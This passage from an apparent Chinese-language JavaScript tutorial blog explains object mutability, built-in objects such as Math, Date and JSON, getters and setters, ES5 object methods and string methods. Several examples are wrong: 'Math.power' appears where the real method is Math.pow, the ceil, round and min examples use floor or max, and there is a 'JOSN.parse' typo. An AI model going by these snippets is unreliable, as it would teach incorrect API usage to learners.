class="property">name</span>;</span><br></pre></td></tr></table></figure><h3 id="对象易变"><a href="#对象易变" class="headerlink" title="对象易变"></a>对象易变</h3><p>对象是易变的：它们通过引用来寻址，而非值，对象存储在堆中</p><p><strong>注释：</strong>JavaScript 变量不是易变的。只有 JavaScript 对象如此</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> b = &#123;</span><br><span class="line">  <span class="attr">name</span>: <span class="string">&#x27;hi&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> a = b; <span class="comment">// 此时只是把引用地址给了a， a和b是同一个对象（所以改变a，同时也会改变b）</span></span><br><span class="line">a.<span class="property">name</span> = <span class="string">&#x27;hello&#x27;</span>;</span><br><span class="line">b; <span class="comment">// &#123; name: &#x27;hello&#x27; &#125;</span></span><br></pre></td></tr></table></figure><h3 id="内置对象"><a href="#内置对象" class="headerlink" title="内置对象"></a>内置对象</h3><p>内置对象：JS系统自带的对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Math</span>    <span class="title class_">Date</span>    <span class="title class_">String</span>    <span class="title class_">Array</span>    <span class="title class_">Object</span>    <span class="title class_">JSON</span></span><br></pre></td></tr></table></figure><h4 id="Number对象"><a href="#Number对象" class="headerlink" title="Number对象"></a>Number对象</h4><table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td>Number.parseInt()</td><td>把字符串解析成特定基数对应的整型数字，和全局方法 parseInt() 作用一致</td></tr><tr><td>Number.parseFloat()</td><td>把字符串参数解析成浮点数，<br/>和全局方法 parseFloat() 作用一致</td></tr></tbody></table><p><strong>数字类型原型上的一些方法</strong></p><table><thead><tr><th>方法</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>toFixed()</td><td>返回指定小数位数的表示形式</td><td>var a=123,b=a.toFixed(2) //b=”123.00”</td></tr><tr><td>toExponential()</td><td>返回一个数字的指数形式的字符串</td><td>1.23e+2</td></tr><tr><td>toPrecision()</td><td>返回一个指定精度的数字。如下例子中，a=123中，3会由于精度限制消失</td><td>var a=123,b=a.toPrecision(2) //b=”1.2e+2”</td></tr></tbody></table><h4 id="Math对象"><a href="#Math对象" class="headerlink" title="Math对象"></a>Math对象</h4><table><thead><tr><th>方法</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>Math.floor(值)</td><td>向下取整</td><td>Math.floor(12.3)=12；Math.floor(12.9)=12；</td></tr><tr><td>Math.ceil(值)</td><td>向上取整</td><td>Math.floor(12.3)=13；Math.floor(12.9)=13；</td></tr><tr><td>Math.abs(值)</td><td>绝对值</td><td>（-1=1、-2=2、null=0、”string”=NaN）</td></tr><tr><td>Math.round(值)</td><td>四舍五入</td><td>Math.floor(12.3)=12；Math.floor(12.5)=13；</td></tr><tr><td>Math.max(一组数值)</td><td>取最大值</td><td>Math.max(3, 2, 5, 6)=6</td></tr><tr><td>Math.min(一组数值)</td><td>取最小值</td><td>Math.max(3, 2, 5, 6)=2</td></tr><tr><td>Math.power(2,4)</td><td>求指数次幂</td><td>16</td></tr><tr><td>Math.sqrt(16)</td><td>求平方根</td><td>4</td></tr><tr><td>Math.sin( )</td><td>正弦</td><td></td></tr><tr><td>Math.cos( )</td><td>余弦</td><td></td></tr><tr><td>Math.random( )</td><td>生成随机数</td><td>parseInt(Math.random()*5)+1;<br />//0<del>4随机数（其中Math.random()产生0.0</del>1.0之间的随机double值）</td></tr><tr><td>Math.PI</td><td>圆周率</td><td></td></tr></tbody></table><h4 id="Date对象"><a href="#Date对象" class="headerlink" title="Date对象"></a>Date对象</h4><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> date = <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toISOString</span>().<span class="title function_">slice</span>(<span class="number">0</span>, <span class="number">10</span>) <span class="comment">// 获取当前日期：格式为&#x27;2020-05-20&#x27;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> d = <span class="keyword">new</span> <span class="title class_">Date</span>()</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(d) <span class="comment">// Sun Apr 14 2019 20:46:02 GMT+0800 (中国标准时间)</span></span><br><span class="line">dt.<span class="title function_">valueOf</span>() <span class="comment">// 毫秒1555246148513</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> d = <span class="title class_">Date</span>.<span class="title function_">now</span>()</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(d) <span class="comment">// 毫秒1555246148513</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> d = <span class="keyword">new</span> <span class="title class_">Date</span>()</span><br><span class="line"></span><br><span class="line">d.<span class="title function_">getFullYear</span>() <span class="comment">// 获取年份</span></span><br><span class="line">d.<span class="title function_">getMonth</span>() + <span class="number">1</span> <span class="comment">// 获取月份，是0开始的 真实的月份是需要加1的</span></span><br><span class="line">d.<span class="title function_">getDate</span>() <span class="comment">// 获取日期</span></span><br><span class="line">d.<span class="title function_">getHours</span>() <span class="comment">// 获取小时</span></span><br><span class="line">d.<span class="title function_">getMinutes</span>() <span class="comment">// 获取分钟 </span></span><br><span class="line">d.<span class="title function_">getSeconds</span>() <span class="comment">// 获取秒</span></span><br><span class="line">d.<span class="title function_">getDay</span>() <span class="comment">//0获取星期，星期从0开始的</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">getNowTime</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> date = <span class="keyword">new</span> <span class="title class_">Date</span>();</span><br><span class="line">h = date.<span class="title function_">getHours</span>();</span><br><span class="line">m = date.<span class="title function_">getMinutes</span>();</span><br><span class="line">s = date.<span class="title function_">getSeconds</span>();</span><br><span class="line">hou = (h &lt; <span class="number">10</span> ? <span class="string">&quot;0&quot;</span> : <span class="string">&quot;&quot;</span>) + h;</span><br><span class="line">min = (m &lt; <span class="number">10</span> ? <span class="string">&quot;0&quot;</span> : <span class="string">&quot;&quot;</span>) + m;</span><br><span class="line">sec = (s &lt; <span class="number">10</span> ? <span class="string">&quot;0&quot;</span> : <span class="string">&quot;&quot;</span>) + s;</span><br><span class="line"><span class="keyword">var</span> ymd = date.<span class="title function_">getFullYear</span>() + <span class="string">&#x27;-&#x27;</span> + (date.<span class="title function_">getMonth</span>() + <span class="number">1</span>) + <span class="string">&#x27;-&#x27;</span> + date.<span class="title function_">getDate</span>() + <span class="string">&quot; &quot;</span> + hou + <span class="string">&#x27;:&#x27;</span> + min + <span class="string">&#x27;:&#x27;</span> + sec;</span><br><span class="line">w = date.<span class="title function_">getDay</span>();</span><br><span class="line">week = <span class="string">&quot;星期&quot;</span> + <span class="string">&quot;日一二三四五六&quot;</span>.<span class="title function_">split</span>(<span class="string">&#x27;&#x27;</span>)[w];</span><br><span class="line"><span class="keyword">var</span> nowdate = ymd + <span class="string">&quot; &quot;</span> + week;</span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;time&quot;</span>).<span class="property">innerHTML</span> = nowdate;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">setInterval</span>(<span class="string">&quot;getNowTime()&quot;</span>, <span class="number">1000</span>);</span><br></pre></td></tr></table></figure><p><strong>秒杀倒计时</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">getTime</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> startTime = <span class="string">&#x27;2020-05-28 09:00:00&#x27;</span>;</span><br><span class="line">    <span class="keyword">var</span> endTime = <span class="string">&#x27;2020-05-28 12:00:00&#x27;</span>;</span><br><span class="line">    <span class="keyword">var</span> nowTime = <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">getTime</span>() - <span class="keyword">new</span> <span class="title class_">Date</span>(startTime).<span class="title function_">getTime</span>() &gt;= <span class="number">0</span> ? <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">getTime</span>() : <span class="keyword">new</span> <span class="title class_">Date</span>(startTime).<span class="title function_">getTime</span>();</span><br><span class="line">    <span class="keyword">var</span> time = <span class="keyword">new</span> <span class="title class_">Date</span>(endTime).<span class="title function_">getTime</span>() - nowTime;</span><br><span class="line">    time = time / <span class="number">1000</span>;</span><br><span class="line">    <span class="keyword">var</span> d = &#123;</span><br><span class="line">        <span class="attr">h</span>: <span class="title class_">Math</span>.<span class="title function_">floor</span>(time / <span class="number">3600</span>) &lt; <span class="number">10</span> ? <span class="string">&#x27;0&#x27;</span> + <span class="title class_">Math</span>.<span class="title function_">floor</span>(time / <span class="number">3600</span>) : <span class="title class_">Math</span>.<span class="title function_">floor</span>(time / <span class="number">3600</span>),</span><br><span class="line">        <span class="attr">m</span>: <span class="title class_">Math</span>.<span class="title function_">floor</span>(time % <span class="number">3600</span> / <span class="number">60</span>) &lt; <span class="number">10</span> ? <span class="string">&#x27;0&#x27;</span> + <span class="title class_">Math</span>.<span class="title function_">floor</span>(time % <span class="number">3600</span> / <span class="number">60</span>) : <span class="title class_">Math</span>.<span class="title function_">floor</span>(time % <span class="number">3600</span> / <span class="number">60</span>),</span><br><span class="line">        <span class="attr">s</span>: <span class="title class_">Math</span>.<span class="title function_">floor</span>(time % <span class="number">3600</span> % <span class="number">60</span>) &lt; <span class="number">10</span> ? <span class="string">&#x27;0&#x27;</span> + <span class="title class_">Math</span>.<span class="title function_">floor</span>(time % <span class="number">3600</span> % <span class="number">60</span>) : <span class="title class_">Math</span>.<span class="title function_">floor</span>(time % <span class="number">3600</span> % <span class="number">60</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`<span class="subst">$&#123;d.h&#125;</span>-<span class="subst">$&#123;d.m&#125;</span>-<span class="subst">$&#123;d.s&#125;</span>`</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">setInterval</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">getTime</span>()</span><br><span class="line">&#125;, <span class="number">500</span>);</span><br></pre></td></tr></table></figure><h4 id="String对象"><a href="#String对象" class="headerlink" title="String对象"></a>String对象</h4><h4 id="Array对象"><a href="#Array对象" class="headerlink" title="Array对象"></a>Array对象</h4><p><strong>Array()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>(); <span class="comment">// []</span></span><br><span class="line"><span class="title class_">Array</span>(<span class="number">3</span>); <span class="comment">// [, , ,]</span></span><br><span class="line"><span class="title class_">Array</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br><span class="line"><span class="title class_">Array</span>(<span class="literal">undefined</span>); <span class="comment">// [undefined]</span></span><br></pre></td></tr></table></figure><p><strong>Array.of()</strong></p><p>方法用于将一组值，转换为数组（ES6）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(); <span class="comment">// []</span></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="number">3</span>); <span class="comment">// [3]</span></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="literal">undefined</span>) <span class="comment">// [undefined]</span></span><br></pre></td></tr></table></figure><p><strong>Array.from()</strong></p><p>方法用于将两类对象转为真正的数组（ES6）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>.<span class="title function_">from</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line"><span class="comment">// [&#x27;h&#x27;, &#x27;e&#x27;, &#x27;l&#x27;, &#x27;l&#x27;, &#x27;o&#x27;]</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">from</span>([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]);</span><br><span class="line"><span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><h4 id="Object对象"><a href="#Object对象" class="headerlink" title="Object对象"></a>Object对象</h4><p><strong>Object.assign(target, source)</strong></p><p>注意：会改变目标对象target</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> a = &#123; <span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span> &#125;;</span><br><span class="line"><span class="keyword">const</span> b = &#123; <span class="attr">b</span>: <span class="number">3</span>, <span class="attr">c</span>: <span class="number">5</span> &#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> c = <span class="title class_">Object</span>.<span class="title function_">assign</span>(a, b);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// &#123; a: 1, b: 3, c: 5 &#125;</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// &#123; a: 1, b: 3, c: 5 &#125;</span></span><br></pre></td></tr></table></figure><p><strong>Object.prototype.hasOwnProperty()</strong></p><p>方法会返回一个布尔值，指示对象自身属性中是否具有指定的属性（也就是，是否有指定的键）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123; <span class="attr">a</span>: <span class="number">10</span>, <span class="attr">b</span>: <span class="number">20</span>, <span class="attr">c</span>: <span class="number">30</span> &#125;;</span><br><span class="line">obj.<span class="title function_">hasOwnProperty</span>(<span class="string">&#x27;a&#x27;</span>); <span class="comment">// true</span></span><br><span class="line">obj.<span class="title function_">hasOwnProperty</span>(<span class="string">&#x27;d&#x27;</span>); <span class="comment">// false</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">hasOwnProperty</span>(<span class="number">0</span>); <span class="comment">// true</span></span><br><span class="line">arr.<span class="title function_">hasOwnProperty</span>(<span class="number">1</span>); <span class="comment">// true</span></span><br><span class="line">arr.<span class="title function_">hasOwnProperty</span>(<span class="number">2</span>); <span class="comment">// true</span></span><br><span class="line">arr.<span class="title function_">hasOwnProperty</span>(<span class="number">3</span>); <span class="comment">// false</span></span><br></pre></td></tr></table></figure><h4 id="JSON对象"><a href="#JSON对象" class="headerlink" title="JSON对象"></a>JSON对象</h4><p><strong>JSON</strong>(JavaScript Object Notation) 是一种轻量级的数据交换格式。</p><p>它是基于JavaScript的一个子集，数据格式简单，易于读写，占用宽带小</p><p>JSON格式的数据：一般都是成对的，是键值对，json也是一个对象，数据都是成对的，一般json格式的数据无论是键还是值都是用双引号括起来的</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> json = &#123;</span><br><span class="line"><span class="string">&quot;name&quot;</span>: <span class="string">&quot;Jack&quot;</span>,</span><br><span class="line"><span class="string">&quot;age&quot;</span>: <span class="string">&quot;10&quot;</span>,</span><br><span class="line"><span class="string">&quot;sex&quot;</span>: <span class="string">&quot;man&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>JSON.stringify()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 服务器接受到的数据永远是字符串，故发送到服务器的数据是对象JSON字符串化</span></span><br><span class="line"><span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123;<span class="attr">a</span>:<span class="number">10</span>, <span class="attr">b</span>:<span class="number">20</span>&#125;) </span><br></pre></td></tr></table></figure><p><strong>JOSN.parse()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 从服务器获取的数据永远是字符串，故需解析为JS对象化</span></span><br><span class="line"><span class="variable constant_">JOSN</span>.<span class="title function_">parse</span>(<span class="string">&#x27;&#123;&quot;a&quot;:10,&quot;b&quot;:20&#125;&#x27;</span>) </span><br></pre></td></tr></table></figure><p><strong>JSON遍历</strong></p><p>遍历对象，是不能通过for循环遍历，无序，key是一个变量，这个变量中存储的是该对象的所有的属性的名字</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> key <span class="keyword">in</span> json) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(key + <span class="string">&quot;--&quot;</span> + json[key])</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// name--Jack</span></span><br><span class="line"><span class="comment">// age--10</span></span><br><span class="line"><span class="comment">// sex--man</span></span><br></pre></td></tr></table></figure><h3 id="getters-与-setters"><a href="#getters-与-setters" class="headerlink" title="getters 与 setters"></a>getters 与 setters</h3><p>一个 getter 是一个获取某个特定属性的值的方法</p><p>一个  setter 是一个设定某个属性的值的方法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">  <span class="attr">a</span>: <span class="number">7</span>,</span><br><span class="line">  <span class="keyword">get</span> <span class="title function_">b</span>() &#123; </span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">a</span> + <span class="number">1</span>;</span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="keyword">set</span> <span class="title function_">c</span>(<span class="params">x</span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">a</span> = x / <span class="number">2</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">a</span>); <span class="comment">// 7</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">b</span>); <span class="comment">// 8</span></span><br><span class="line">obj.<span class="property">c</span> = <span class="number">50</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">a</span>); <span class="comment">// 25</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">b</span>); <span class="comment">// 26</span></span><br></pre></td></tr></table></figure><h3 id="ES5-新的对象方法"><a href="#ES5-新的对象方法" class="headerlink" title="ES5 新的对象方法"></a>ES5 新的对象方法</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加或更改对象属性</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">defineProperty</span>(object, property, descriptor)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加或更改多个对象属性</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">defineProperties</span>(object, descriptors)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 访问属性</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">getOwnPropertyDescriptor</span>(object, property)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 以数组返回所有属性</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">getOwnPropertyNames</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 以数组返回所有可枚举的属性</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">keys</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 访问原型</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">getPrototypeOf</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 阻止向对象添加属性</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">preventExtensions</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如果可将属性添加到对象，则返回 true</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">isExtensible</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 防止更改对象属性（而不是值）</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">seal</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如果对象被密封，则返回 true</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">isSealed</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 防止对对象进行任何更改</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">freeze</span>(object)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如果对象被冻结，则返回 true</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">isFrozen</span>(object)</span><br></pre></td></tr></table></figure><h2 id="字符串"><a href="#字符串" class="headerlink" title="字符串"></a>字符串</h2><h3 id="字符串简介"><a href="#字符串简介" class="headerlink" title="字符串简介"></a>字符串简介</h3><p>用于存储和操作文本</p><p><strong>字符串长度</strong></p><p>内建属性 length 可返回字符串的长</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;hello&#x27;</span>;</span><br><span class="line">str.<span class="property">length</span>; <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><p><strong>字符串可以是对象</strong></p><p>通常，JavaScript 字符串是原始值，通过字面方式创建</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;hello&#x27;</span>;</span><br><span class="line"><span class="keyword">typeof</span> a; <span class="comment">// string</span></span><br></pre></td></tr></table></figure><p>但是字符串也可通过关键词 new 定义为对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> b = <span class="keyword">new</span> <span class="title class_">String</span>(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line">b; <span class="comment">// String &#123;&quot;hello&quot;&#125;</span></span><br><span class="line"><span class="keyword">typeof</span> b; <span class="comment">// object</span></span><br></pre></td></tr></table></figure><p>上面两个对象值相等，但类型不相同，因此</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">a == b; <span class="comment">// true</span></span><br><span class="line">a === b; <span class="comment">// false 因为a是字符串，b是对象</span></span><br></pre></td></tr></table></figure><p><strong><code>对象无法比较</code></strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="keyword">new</span> <span class="title class_">String</span>(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> b = <span class="keyword">new</span> <span class="title class_">String</span>(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line">a == b; <span class="comment">// false</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = &#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> b = &#123;&#125;;</span><br><span class="line">a == b; <span class="comment">// false</span></span><br></pre></td></tr></table></figure><h3 id="字符串方法"><a href="#字符串方法" class="headerlink" title="字符串方法"></a>字符串方法</h3><p>​        字符串可以看成是字符组成的数组，但是js中没有字符类型，在js中字符串可以使用单引号也可以使用双引号，因为字符串可以看成是数组，所以可以通过for循环进行遍历</p><p>字符串特性：不可变性，字符串的值是不能改变</p><p><strong><code>length</code></strong> </p><p>属性返回字符串的长度</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;abcde&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str.<span class="property">length</span>); <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><p><strong><code>indexOf(字符串)</code></strong> </p><p>方法返回字符串中指定文本<strong>首次出现</strong>的索引位置，没找到返回-1</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;12345678988&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> index = str.<span class="title function_">indexOf</span>(<span class="string">&#x27;8&#x27;</span>, <span class="number">5</span>); <span class="comment">// 7</span></span><br><span class="line"><span class="keyword">var</span> index = str.<span class="title function_">indexOf</span>(<span class="string">&#x27;10&#x27;</span>, <span class="number">5</span>); <span class="comment">// -1 没有返回-1</span></span><br></pre></td></tr></table></figure><p><strong><code>concat()</code></strong> </p><p>字符串拼接合并，连接两个或更多字符串，并返回新的字符串 【不改变原有字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str1 = <span class="string">&#x27;123&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> str2 = <span class="string">&#x27;456&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> a = str1.<span class="title function_">concat</span>(str2);</span><br><span class="line">a <span class="comment">// 123456</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> str1 = <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> str2 = <span class="string">&#x27;b&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> str3 = <span class="string">&#x27;c&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> a = str1.<span class="title function_">concat</span>(str2, str3);</span><br><span class="line">a <span class="comment">// abc</span></span><br></pre></td></tr></table></figure><p><strong><code>replace()</code></strong> </p><p>字符串替换，默认替换第一个 【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;aaabbccc&#x27;</span>;</span><br><span class="line"></span><br><span class="line">str.<span class="title function_">replace</span>(<span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;e&#x27;</span>); <span class="comment">// aaaebccc</span></span><br></pre></td></tr></table></figure><p><strong><code>split()</code></strong> </p><p>把字符串分割为字符串数组 【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 字符串转数组</span></span><br><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;A,B,C&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> arr = str.<span class="title function_">split</span>(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">arr <span class="comment">// [&quot;A&quot;, &quot;B&quot;, &quot;C&quot;]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 数组转字符串</span></span><br><span class="line"><span class="keyword">var</span> arr = [<span class="string">&#x27;A&#x27;</span>,<span class="string">&#x27;B&#x27;</span>,<span class="string">&#x27;C&#x27;</span>];</span><br><span class="line"><span class="keyword">var</span> str = arr.<span class="title function_">join</span>(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">str <span class="comment">// A,B,C</span></span><br></pre></td></tr></table></figure><p><strong><code>includes</code></strong>  </p><p>判断字符串中是否包含指定的子字符串 【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;hello, today is goods&#x27;</span>;</span><br><span class="line"></span><br><span class="line">str.<span class="title function_">includes</span>(<span class="string">&#x27;is&#x27;</span>); <span class="comment">// true</span></span><br><span class="line">str.<span class="title function_">includes</span>(<span class="string">&#x27;no&#x27;</span>); <span class="comment">// false</span></span><br></pre></td></tr></table></figure><p><strong><code>slice(起始索引,  终止索引-1)</code></strong> </p><p>截取字符串，如果省略第二个参数，则截取字符串剩余部分 【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;123456789a&#x27;</span>;</span><br><span class="line"></span><br><span class="line">str.<span class="title function_">slice</span>(<span class="number">3</span>); <span class="comment">// 456789a </span></span><br><span class="line">str.<span class="title function_">slice</span>(<span class="number">5</span>, <span class="number">7</span>); <span class="comment">// 67</span></span><br></pre></td></tr></table></figure><p><strong><code>substr(起始索引,  长度)</code></strong> </p><p>返回的是截取后的新的字符串【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;123456789&#x27;</span>;</span><br><span class="line"></span><br><span class="line">str.<span class="title function_">substr</span>(<span class="number">5</span>); <span class="comment">// 6789</span></span><br><span class="line">str.<span class="title function_">substr</span>(<span class="number">5</span>, <span class="number">3</span>); <span class="comment">// 678</span></span><br><span class="line">str; <span class="comment">// 123456789</span></span><br></pre></td></tr></table></figure><p><strong><code>trim()</code></strong> </p><p>干掉字符串两端的空格 【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;  a  b  c  &#x27;</span>;</span><br><span class="line"></span><br><span class="line">str.<span class="title function_">trim</span>(); <span class="comment">// a b c</span></span><br><span class="line">str; <span class="comment">// &#x27;  a  b  c  &#x27;</span></span><br></pre></td></tr></table></figure><p><strong><code>toLowerCase() / toUpperCase()</code></strong> </p><p>转小写/转大写【不改变原字符串】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;AaBbCc&#x27;</span>;</span><br><span class="line"></span><br><span class="line">str.<span class="title function_">toLowerCase</span>(); <span class="comment">// aabbcc</span></span><br><span class="line">str.<span class="title function_">toUpperCase</span>(); <span class="comment">// AABBCC</span></span><br><span class="line">str; <span class="comment">// AaBbCc</span></span><br></pre></td></tr></table></figure><h2 id="数组"><a href="#数组" class="headerlink" title="数组"></a>数组</h2><h3 id="数组简介"><a href="#数组简介" class="headerlink" title="数组简介"></a>数组简介</h3><p>数组：<strong>是一种特殊的变量，它能够一次存放一个以上的值；一组有序的数据</strong></p><p>作用：<strong>用于在单一变量中存储多个值</strong></p><p><strong><code>注意：数组是一种特殊类型的对象</code></strong></p><h3 id="数组创建"><a href="#数组创建" class="headerlink" title="数组创建"></a>数组创建</h3><p><strong>通过字面量的方式创建数组（推荐）</strong></p><figure 